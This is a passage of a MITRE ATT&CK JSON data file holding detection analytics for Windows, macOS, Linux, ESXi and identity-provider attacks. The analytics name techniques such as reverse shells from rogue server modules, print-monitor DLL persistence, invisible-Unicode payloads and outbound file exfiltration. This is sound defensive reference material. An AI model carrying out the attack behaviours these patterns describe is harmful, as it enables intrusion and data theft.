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            "name": "Analytic 0267",
            "description": "Modifications to user accounts via `dscl`, `pwpolicy`, or System Preferences CLI (`sysadminctl`) that alter user groups, enable root, or bypass MDM restrictions.",
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            "x_mitre_attack_spec_version": "3.3.0",
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                "enterprise-attack"
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                "macOS"
            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77",
                    "name": "macos:unifiedlog",
                    "channel": "com.apple.accountsd, com.apple.opendirectoryd"
                }
            ],
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                {
                    "field": "ModifiedUserList",
                    "description": "Track known non-system user UIDs or service accounts."
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                {
                    "field": "GroupMembershipChanges",
                    "description": "List of sensitive groups (admin, _developer, _analyticsd)."
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            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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                    "source_name": "mitre-attack",
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            "modified": "2025-11-12T17:13:52.357Z",
            "name": "Analytic 0580",
            "description": "Detects suspicious registry modifications under `HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\*\\Driver`, DLL loads by `spoolsv.exe` of non-standard or unsigned modules, and abnormal usage of the `AddMonitor` API by non-installation processes. This pattern often indicates an attempt to persist a malicious DLL via the print monitor mechanism, particularly when correlated with creation of files in `C:\\Windows\\System32` not tied to known patches or installations.",
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            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=13"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e",
                    "name": "WinEventLog:Application",
                    "channel": "API call to AddMonitor invoked by non-installer process"
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            ],
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                {
                    "field": "TargetDLLDirectory",
                    "description": "Expected directory path for legitimate monitor DLLs (e.g., C:\\Windows\\System32)"
                },
                {
                    "field": "SignedImageValidation",
                    "description": "Enable/disable signature validation on DLLs loaded by spoolsv.exe"
                },
                {
                    "field": "UserContextScope",
                    "description": "Define whether only SYSTEM/user installs are expected to make changes to the port monitor registry keys"
                },
                {
                    "field": "TimeWindow",
                    "description": "Timeframe between registry modification and subsequent spoolsv.exe DLL load"
                },
                {
                    "field": "AddMonitorCallContext",
                    "description": "Filter on calling process of AddMonitor API to detect anomalies outside installer/updater"
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--6195e912-ed73-4ec7-a03b-097631ec0b26",
            "created": "2026-04-23T18:32:05.919Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0920#AN2065",
                    "external_id": "AN2065"
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            ],
            "object_marking_refs": [
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            "modified": "2026-04-24T20:31:59.381Z",
            "name": "Analytic 2065",
            "description": "Detection identifies execution of scripts or applications containing invisible Unicode payloads reconstructed at runtime, correlated with abnormal AppleScript, JavaScript for Automation, or shell execution and subsequent process or network behavior inconsistent with visible file content. ",
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            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "NSM:Flow",
                    "channel": "log entries indicating network connection initiation on macOS"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "macos:unifiedlog",
                    "channel": "Execution of osascript, sh, bash, zsh, installer, open"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "macOS:unifiedlog",
                    "channel": "looking for file access to scripts with abnormal encoding patterns"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ExecutionContext",
                    "description": "Use of abnormal AppleScript or JavaScript functions (such as eval()) not typically expected"
                },
                {
                    "field": "UnicodeCharacterSet",
                    "description": "Specific unicode ranges monitored (zero-width, PUA, bidi) "
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--619804e7-5ae7-4c6e-b1bb-e1d10a22cc87",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0584#AN1609",
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            ],
            "object_marking_refs": [
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1609",
            "description": "Unexpected creation or modification of files with `com.apple.ResourceFork` extended attributes containing unusually large or non-standard data. Defender perspective: detection of resource forks in contexts where they are uncommon, especially when paired with process execution or network activity.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "macOS"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "macos:unifiedlog",
                    "channel": "File creation or modification with com.apple.ResourceFork extended attribute"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "macos:unifiedlog",
                    "channel": "Execution of commands like `ls -l@`, `xattr -l`, or custom tools interacting with resource forks"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "Process creation involving binaries interacting with resource fork data"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ResourceForkSizeThreshold",
                    "description": "Adjust thresholds for 'unusually large' resource fork data based on baseline usage in the environment."
                },
                {
                    "field": "MonitoredDirectories",
                    "description": "Scope monitoring to sensitive directories such as /Users, /Applications, or temporary paths."
                },
                {
                    "field": "CorrelatedActivityWindow",
                    "description": "Time window for correlating resource fork activity with subsequent execution or network activity."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
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                    "external_id": "AN0185"
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            ],
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0185",
            "description": "Chain: (1) a new external device is recognized by Windows (USB/Thunderbolt/PCIe) or a new block device appears; (2) within a short window, the same user/session spawns processes or the OS mounts a new volume; (3) optional follow-on activity such as HID keystroke injection, DMA driver load, or new network interface MAC on DHCP. Correlate Security EID 6416 / Kernel-PnP with sysmon and DHCP/network metadata.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=6416"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=6"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f",
                    "name": "WinEventLog:System",
                    "channel": "Kernel-PnP 410/400 device install, disk added"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "wineventlog:dhcp",
                    "channel": "DHCP Lease Granted"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TrustedDeviceVIDPID",
                    "description": "Vendor/Product IDs that are approved (e.g., keyboards, mice). Unknown/rare VID:PID raise risk."
                },
                {
                    "field": "ExpectedBusTypes",
                    "description": "Allow-listed bus types for server classes (e.g., USB disabled on DCs)."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation window between device recognition and follow-on process/mount/network activity (e.g., 10m\u201360m)."
                },
                {
                    "field": "TrustedMACs",
                    "description": "Known NIC/USB-NIC MAC addresses allowed by policy."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--61e3802a-c95c-43c2-8749-139e0f750169",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
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                    "external_id": "AN1172"
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            ],
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1172",
            "description": "Detects file movement or outbound TFTP/FTP transfers from ESXi host initiated via shell commands or injected scripts, particularly from scratch partitions or /tmp.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            ],
            "x_mitre_platforms": [
                "ESXi"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "esxi:shell",
                    "channel": "/root/.ash_history"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "mirror/SPAN port"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TransferTargetDomainOrIP",
                    "description": "Public IPs or domains not belonging to known ESXi mgmt infra"
                },
                {
                    "field": "SourceDirectoryFilter",
                    "description": "Monitor transfers from /tmp/, /etc/, /vmfs/volumes/"
                }
            ],
            "x_mitre_deprecated": false
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            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AllowedTools",
                    "description": "Whitelist legitimate tunneling tools (e.g., used by admins)."
                },
                {
                    "field": "DataAsymmetryThreshold",
                    "description": "Ratio of sent vs received bytes that indicates tunneling activity."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlate process creation with network connection within N seconds."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--64d6b35c-4785-4e2b-bc93-1f54f626a7a7",
            "created": "2025-10-21T15:10:28.402Z",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0059#AN0162",
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            ],
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            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0162",
            "description": "Correlate unauthorized or anomalous file modifications, deletions, or metadata changes with suspicious process execution or API calls. Detect abnormal changes to structured data (e.g., database files, logs, financial records) outside expected business process activity.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=2"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=15"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4663, 4670, 4656"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "MonitoredFilePaths",
                    "description": "List of critical data directories or files; environment-specific tuning required."
                },
                {
                    "field": "TimeWindow",
                    "description": "Threshold for correlating process execution with rapid data changes."
                },
                {
                    "field": "AuthorizedProcesses",
                    "description": "Expected processes permitted to modify business-critical data."
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            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--65390827-81d9-43d0-9c9d-16d8c6509b90",
            "created": "2025-10-21T15:10:28.402Z",
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                    "source_name": "mitre-attack",
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                    "external_id": "AN1981"
                }
            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1981",
            "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_deprecated": false
        },
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0279#AN0779",
                    "external_id": "AN0779"
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            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0779",
            "description": "Detect unusual invocations of systemctl, service, or init scripts creating or modifying daemons. Monitor audit logs for execution of binaries from unexpected paths linked to service start/stop activity.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705",
                    "name": "linux:syslog",
                    "channel": "systemctl start/enable with uncommon binary paths"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "auditd:SYSCALL",
                    "channel": "write"
                }
            ],
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                {
                    "field": "ServiceBinaryPaths",
                    "description": "Valid directories for service binaries to filter out benign changes"
                },
                {
                    "field": "UserContext",
                    "description": "Expected accounts performing service management (e.g., root/admin)"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--65a1926d-e504-4153-b19f-555e8a06e5a5",
            "created": "2025-10-21T15:10:28.402Z",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0270#AN0756",
                    "external_id": "AN0756"
                }
            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0756",
            "description": "Adversary modifies tenant policy through changes to federation configuration, trust settings, or identity provider additions in Microsoft 365/AzureAD via Portal, PowerShell, or Graph API. Includes setting authentication to federated or updating federated domains.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Identity Provider"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "m365:unified",
                    "channel": "Set federation settings on domain|Set domain authentication|Add federated identity provider"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
                    "name": "azure:signinlogs",
                    "channel": "OperationName=SetDomainAuthentication OR Set-FederatedDomain"
                }
            ],
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                {
                    "field": "OperationName",
                    "description": "Identify rare modification operations that are not part of standard admin lifecycle."
                },
                {
                    "field": "InitiatedBy",
                    "description": "Filter by known administrators or service principals. Flag unknown initiators."
                },
                {
                    "field": "UserAgent",
                    "description": "Detect scripted modifications (e.g., PowerShell/Graph API vs Azure Portal)."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlate tenant policy changes with new sign-ins or token forgery attempts."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--65abf5f4-ddb9-4eac-a926-1bef5d6b5c63",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0562#AN1553",
                    "external_id": "AN1553"
                }
            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1553",
            "description": "macOS environmental validation behavioral chain: (1) System profiling through system_profiler, sysctl, and hardware discovery commands, (2) Network interface and configuration enumeration for geolocation and network environment validation, (3) Application installation and version discovery for software environment fingerprinting, (4) Security feature detection (SIP, Gatekeeper, XProtect status), (5) Conditional payload execution based on macOS-specific environmental criteria and System Integrity Protection bypass validation",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "process execution events for system discovery utilities (system_profiler, sysctl, networksetup, ioreg) with parameter analysis"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "fs:fileevents",
                    "channel": "File system access events with kFSEventStreamEventFlagItemRemoved, kFSEventStreamEventFlagItemRenamed flags for environmental artifact collection (/System/Library, /usr/sbin, plist files)"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "MacOSDiscoveryTools",
                    "description": "macOS-specific system discovery utilities commonly used for environmental validation"
                },
                {
                    "field": "SecurityFeatureEnumeration",
                    "description": "Security features and configurations typically validated by macOS execution guardrails"
                },
                {
                    "field": "HardwareFingerprintBaseline",
                    "description": "Normal hardware discovery patterns to distinguish from environmental validation attempts"
                },
                {
                    "field": "SIPBypassIndicators",
                    "description": "Patterns indicating attempts to validate or bypass System Integrity Protection"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--65f89c21-d42a-4028-9865-122ea1079a77",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0547#AN1508",
                    "external_id": "AN1508"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1508",
            "description": "Abuse of extensible server modules (e.g., Apache, Nginx, Tomcat) to load rogue plugins that initiate bash, connect to C2, or spawn reverse shells.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "linux:syslog",
                    "channel": "Module registration or stacktrace logs indicating segmentation faults or unknown module errors"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "NSM:Flow",
                    "channel": "Outbound connections from web server binaries (apache2, nginx, php-fpm) to unknown external IPs"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ServerBinaryPath",
                    "description": "Alternate install paths like /opt/httpd or user-compiled binaries"
                },
                {
                    "field": "OutboundPortRange",
                    "description": "Tunable to match expected versus suspicious outbound traffic patterns"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--66107cd1-c123-4ad5-bb0b-62d8a9a451a6",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0478#AN1316",
                    "external_id": "AN1316"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1316",
            "description": "Cause\u2192effect chain: (1) unified logs show application open/click or crash for Safari/Chrome/Office/Preview/archiver, (2) file write/extraction into ~/Downloads, /private/var/folders/* or ~/Library, (3) parent app spawns osascript/bash/zsh/curl/python or opens a quarantined app with Gatekeeper prompts, (4) network egress from child.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "macos:unifiedlog",
                    "channel": "opened document|clicked link|EXC_BAD_ACCESS|abort|LSQuarantine"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "fs:fileevents",
                    "channel": "create/write/rename in user-writable paths"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:osquery",
                    "channel": "exec"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "NSM:Flow",
                    "channel": "new outbound connection from exploited lineage"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "10\u201330 minute correlation window."
                },
                {
                    "field": "HighRiskChildren",
                    "description": "osascript, bash, zsh, curl, python, open -a Terminal, installer, tccutil misuse."
                },
                {
                    "field": "QuarantineSignals",
                    "description": "Flag new apps lacking com.apple.quarantine or with quarantine='0081' (downloaded then auto-opened)."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--663bba48-7043-4407-875f-59691655d13c",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0823#AN1955",
                    "external_id": "AN1955"
                },
                {
                    "source_name": "ACSC Email Spoofing",
                    "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"
                },
                {
                    "source_name": "Microsoft Anti Spoofing",
                    "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.",
                    "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1955",
            "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).\nDepending on the specific method of phishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\nWhen it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.\nMonitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).\n\nMonitor call logs from corporate devices to identify patterns of potential voice phishing, such as calls to/from known malicious phone numbers.\nMonitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "Network Traffic",
                    "channel": "None"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "Application Log",
                    "channel": "None"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "Network Traffic",
                    "channel": "None"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--667326a7-1f31-4ef1-92c1-6cb5241dadcf",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0527#AN1462",
                    "external_id": "AN1462"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1462",
            "description": "Execution of files with reversed filename extensions using Unicode RTLO character. Frequently used to deceive Gatekeeper and users in Safari or Mail-based phishing.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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                {
                    "field": "ProcessPath",
